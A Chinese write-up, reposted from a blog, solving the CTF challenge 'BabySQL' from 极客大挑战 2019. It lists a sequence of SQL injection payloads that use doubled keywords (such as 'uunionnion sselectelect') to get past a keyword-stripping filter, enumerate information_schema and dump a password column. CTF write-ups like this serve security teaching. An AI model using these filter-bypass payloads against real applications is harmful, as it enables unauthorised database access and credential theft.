数据库
首页 > 数据库> > [极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

作者:互联网

0x00

打开web界面看到如下 提示我们已经进行了严格过滤,经过大量的模糊测试,我发现被过滤的词都被去掉后再传给数据库。 这时我们可以采用重写方式来绕过,为验证我们的想法,可以使用如下payload(万能密码):

得到如下结果 既然知道了利用方式,继续我们的注入,我们利用联合注入,先来查询当前表字段数,使用如下payload:

admin' oorrder bbyy 3#
## 上面为username
## password不变

得到的结果正常 继续使用如下payload:

admin' oorrder bbyy 4#

得到如下结果,说明只有3个字段 使用如下payload,来得到回显位置

1' uunionnion sselectelect 1,2,3#
## 这里将admin改为1,是因为admin存在会出现正确回显,无法判断回显位置,而1不存在回显上面的数字

得到结果如下,可以看到2,3即为回显位置 查询数据库,使用如下payload:

1' uunionnion sselectelect 1,database(),3#

得到结果如下,当前数据库为geek 继续查询表,使用如下payload:

1' uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'),3#
## 出现重写的都是被过滤的

得到结果如下 继续查询字段,使用如下payload:

1' uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql')#

得到结果如下,b4bsql表存在id,username,password三个字段 继续查询password字段的数据,使用如下payload:

1' uunionnion sselectelect 1,(sselectelect group_concat(passwoorrd) ffromrom b4bsql),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql')#
## password那样写是因为过滤了or

得到了flag

0x01 总结

该题主要考察的是重写绕过,以及对mysql数据库的基本联合注入

标签:极客,name,BabySQL,如下,2019,table,sselectelect,payload,schema
来源: https://www.cnblogs.com/Wuser/p/13630483.html